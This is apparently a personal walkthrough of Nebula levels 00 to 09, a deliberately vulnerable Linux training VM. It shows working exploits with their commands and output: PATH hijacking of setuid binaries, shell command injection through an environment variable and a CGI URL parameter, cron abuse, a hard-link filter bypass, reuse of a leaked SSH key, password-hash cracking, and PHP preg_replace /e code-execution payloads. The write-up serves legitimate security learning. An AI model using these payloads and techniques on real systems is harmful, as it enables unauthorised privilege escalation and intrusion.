Digging through https://exploit-exercises.com/nebula/
The goal is to find a setuid program that runs as user level00.
- check current user
id
. turns out we are level00:level00 - check
man find
- figure out how to search for files with certain permissions. turns out there is a
-perm
flag - google for bitmask of setuid bit => 4000
- figure out how to search for files with certain permissions. turns out there is a
find / -perm -4000 | more
- note the file
/rofs/bin/.../flag00
. examine it withls -al /rofs/bin/.../flag00
=> got it. - run
/rofs/bin/.../flag00
- run
getflag
- done.
We need to exploit a vulnerability in a C program. The code is given and goes as follows:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
The vulnerability is that the program calls echo
without an absolute path. So as a user, you can manipulate the PATH
environment variable and put your own echo
program in the new path.
A symbolic link to the getflag
program will do the trick. Since the program leve01
has an S-bit set for the user, and is owned by flag01
, we can actually get the flag.
level01@nebula:~$ ls /home/flag01/
flag01
level01@nebula:~$ ls -al /home/flag01/
total 13
drwxr-x--- 2 flag01 level01 92 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile
level01@nebula:~$ /home/flag01/flag01
and now what?
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account
level01@nebula:~$
The program uses untrusted user input for the system
call.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Can be exploited by setting the USER
env variable.
level02@nebula:/home/flag02$ USER="bla; getflag; echo "
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo bla; getflag; echo is cool")
bla
You have successfully executed getflag on a target account
is cool
level02@nebula:/home/flag02$
Put a SHELL script inside the writable directory. Wait until the cronjob kicks in. It will be executed by the user flag03
.
level03@nebula:/home/flag03$ cat writable.d/getflag
#!/bin/bash
getflag > /home/flag03/output
level03@nebula:/home/flag03$ ls
output writable.d writable.sh
level03@nebula:/home/flag03$ cat output
You have successfully executed getflag on a target account
level03@nebula:/home/flag03$
The access control works based on a string comparison with strstr
.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
The solution is to create another hard link for the file that contains the token, without using the string token
.
level04@nebula:/home/flag04$ ln token /home/level04/bla
level04@nebula:/home/flag04$ ./flag04 /home/level04/bla
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$
There is a directory .backup
in the home directory of the flag05
user.
level05@nebula:/home/flag05/.backup$ ls -al
total 2
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
Copy it to the home directory of your account (i.e. /home/level05
) and extract it. Inside, there is the .ssh
directory of the user flag05
, including a private key. You can use this to ssh into the box as user flag05
and then get the flag.
level05@nebula:~/.ssh$ ls -al
total 12
drwxr-xr-x 1 level05 level05 100 2011-07-19 02:37 .
drwxr-x--- 1 level05 level05 100 2017-01-06 14:19 ..
-rw-r--r-- 1 level05 level05 394 2011-07-19 02:37 authorized_keys
-rw------- 1 level05 level05 1675 2011-07-19 02:37 id_rsa
-rw-r--r-- 1 level05 level05 394 2011-07-19 02:37 id_rsa.pub
level05@nebula:~/.ssh$ vim authorized_keys
level05@nebula:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAINcUvucamDG5PzLxljLOJ/nrkzot7EQJ9pEWXoQJC0/ZWm+ezhFHQd5UWlkwPZ2FBDvqxdcrgmmHT/FVGBjK0XWGwIkuJ50nf5pbJExi2SC9kNMMMP2VgY/OxvcUuoGhzEISlgkuu4hJjVh3NeliAgERVzxKCrxSvW48wcAxg4v5vceBra6lY7u8FT2D3VIsHogzKN77Z2g7k2qY82A0vOqw82e/h6IXLjpYwBur0rm0/u3GFB1HFhnAxuGcn4IsnQSBdQCB2S+eOUZ4PmiQ/rUSHuVvMeLCzrxKR+UG9zDwoCwwXpNJehAQJGCiL3JzBNnLjFaylSqKP6xj7cR user@wwwbugs
level05@nebula:~/.ssh$ ssh -i id_rsa localhost -lflag05
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag05@nebula:~$ cd
flag05@nebula:~$ ls
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
The password hash for the account flag06
is stored in /etc/passwd
.
level06@nebula:/home/flag06$ ls -al /etc/passwd
-rw-r--r-- 1 root root 2604 2011-12-06 02:12 /etc/passwd
level06@nebula:/home/flag06$ grep "flag06" /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level06@nebula:/home/flag06$
It can be easily cracked with John the Ripper.
john --wordlist=~/code/wordlists/lists/02_rockyou.txt level06.hash
Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
Use the "--format=descrypt-opencl" option to force loading these as that type instead
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (?)
1g 0:00:00:00 DONE (2017-01-07 13:24) 100.0g/s 12800p/s 12800c/s 12800C/s 123456..diamond
Use the "--show" option to display all of the cracked passwords reliably
Session completed
level06@nebula:/home/flag06$ su flag06
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
The perl script is vulnerable to command injection.
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
It is served by a web server on port 7007. The process is running as user flag07
. The following URL does the trick to get the flag.
http://192.168.99.100:7007/index.cgi?Host=%3bgetflag
I had some trouble to get the full response in the beginning. That is using backticks like so ...Host=`getflag`
did not work. The command was executed, but I did not see the full response.
There is a pcap
file inside the users directory.
level08@nebula:/home/flag08$ ls -al
total 18
drwxr-x--- 1 flag08 level08 60 2017-01-07 09:56 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw------- 1 flag08 flag08 5 2017-01-07 09:56 .bash_history
-rw-r--r-- 1 flag08 flag08 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag08 flag08 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap
-rw-r--r-- 1 flag08 flag08 675 2011-05-18 02:54 .profile
level08@nebula:/home/flag08$
You can analyze it with tcpdump. However I found it easier to copy it down to my host, and use wireshark instead. When you look at the packets, you will notice that there is a password 'prompt'. Afterwards, the user sends one byte of his password per packet.
At first, you might guess that the password is backdoor
. However, note that after the last r
, there are three delete characters 7f
send. So the user has deleted the last three characters again.
Follow the packet stream further, end you will end up with the correct password.
level08@nebula:~$ echo "backd00Rmate"
backd00Rmate
level08@nebula:/home/flag08$ su flag08
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
This was actually a pain. I spotted the vulnerability pretty early. The /e
option in the first preg_replace
call in the markup()
function is the key. This way, you can pass in the otherwise not used $use_me
variable to get code execution. However I spent an hour before looking up someone else's write up to exploit it.
In the end, this is the solution:
level09@nebula:/home/flag09$ ./flag09 ~/test "getflag > /tmp/cmd_out"
PHP Notice: Undefined variable: in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:/home/flag09$ cat /tmp/cmd_out
You have successfully executed getflag on a target account
level09@nebula:/home/flag09$ cat ~/test
[email {${shell_exec($use_me)}}]
level09@nebula:/home/flag09$
Meh. PHP.
Oh well. I should have started reading on the PCRE man page in the beginning. You literally get almost the complete exploit in it.
The above example code can be easily exploited by passing in a string such as
<h1>{${eval($_GET[php_code])}}</h1>
. This gives the attacker the ability to execute arbitrary PHP code and as such gives him nearly complete access to your server.
So this works, too.
level09@nebula:/home/flag09$ cat ~/test2
[email {${eval($_GET[shell_exec($use_me)])}}]
level09@nebula:/home/flag09$